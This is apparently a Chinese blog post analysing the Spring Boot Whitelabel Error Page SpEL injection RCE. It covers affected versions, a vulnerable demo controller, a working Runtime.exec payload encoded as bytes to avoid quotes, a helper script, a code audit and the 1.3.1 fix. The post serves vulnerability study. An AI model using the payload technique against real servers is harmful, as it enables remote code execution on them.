文章目录
- 漏洞简介
- 影响范围
- 漏洞复现
- 代码审计
- POP链
- 漏洞修复
- 参考
- 完
漏洞简介
向一个可以能引发报错的controller传参,报错时会渲染出报错页面对输入的参数SPEL解析
影响范围
Springboot: 1.1.0 ~ 1.1.12、1.2.0 ~ 1.2.7、1.3.0
漏洞复现
新建Springboot项目,设置为受影响的版本
编写一个通过输入能抛出错误的controller
package com.example.springbooterrorpagerce;import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;@RestController
public class Controller {@ResponseBody@RequestMapping("/")public void inject(String spel){Integer.parseInt(spel);}
}
传入SPEL表达式触发注入
RCE注意事项
这里SPEL表达式是不能含有单双引号的,否则无法RCE,因此在exec的时候需要绕过:将引号字符串换成ascii表示
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
ascii转换:
result = ""
target = 'open -a Calculator'
for x in target:result += hex(ord(x)) + ","
print(result.rstrip(','))
代码审计
从报错页面渲染开始,在org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
this.template是报错页面的模板,渲染该页面是通过SPEL表达式解析来达到参数替换
<html><body><h1>Whitelabel Error Pageh1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.p><div id&#61;&#39;created&#39;>${timestamp}div><div>There was an unexpected error (type&#61;${error}, status&#61;${status}).div><div>${message}div>body>
html>
this.replacePlaceholders方法传入模板和占位符解析器来渲染页面&#xff0c;来到PropertyPlaceHolderHelper#parseStringValue
方法
首先会对模板的所有被${}
包裹的占位符进行一层${}
去除&#xff0c;然后再递归去除多重包裹
获取占位符
获取到占位符就去解析对应的值
第一个被解析的是timestamp&#xff0c;这里用的是SPEL的解析器
占位符解析成功后&#xff0c;接着又会对解析出来的值再一次进行递归去除${}
&#43;SPEL解析
同理&#xff0c;当解析最后一个占位符message时&#xff0c;先从模板递归&#43;SPEL解析出占位符message的值&#xff0c;然后又对message的值递归&#43;SPEL解析
就在此时解析了可控输入产生漏洞
POP链
漏洞修复
漏洞产生是由于先从模板递归&#43;SPEL解析出占位符message的值&#xff0c;然后又对message的值递归&#43;SPEL解析&#xff0c;两次操作使用的是同一个方法&#xff0c;而本质上只需要在从模板中解析占位符时候调用SPEL&#xff0c;无需对值进行解析
因此官方在1.3.1版本更新了一个无递归解析的NonRecursivePropertyPlaceholderHelper
调用它的parseStringValue方法&#xff0c;然后再调用resolvePlaceholder方法时就会直接返回null而不会递归&#43;SPEL解析
那么我们在resolvePlaceholder()
处打断点&#xff1a;
在从模板解析${message}
时&#xff1a;this.resolver
不是NonRecursivePropertyPlaceholderHelper
因此调用SPEL解析&#xff0c;解析结果是我们的传参字符串${7*8}
解析字符串${7*8}
时发现是NonRecursivePropertyPlaceholderHelper
因此返回null
返回null就不会进行递归解析了
更新后把模板占位符和具体替换值分开操作而不公用同一个方法&#xff0c;仅对占位符进行解析而不解析具体值&#xff0c;从而避免了非法注入
参考
https://www.cnblogs.com/litlife/p/10183137.html
https://github.com/LandGrey/SpringBootVulExploit#0x01whitelabel-error-page-spel-rce
完
欢迎关注我的CSDN博客 &#xff1a;&#64;Ho1aAs
版权属于&#xff1a;Ho1aAs
本文链接&#xff1a;https://blog.csdn.net/Xxy605/article/details/125223288
版权声明&#xff1a;本文为原创&#xff0c;转载时须注明出处及本声明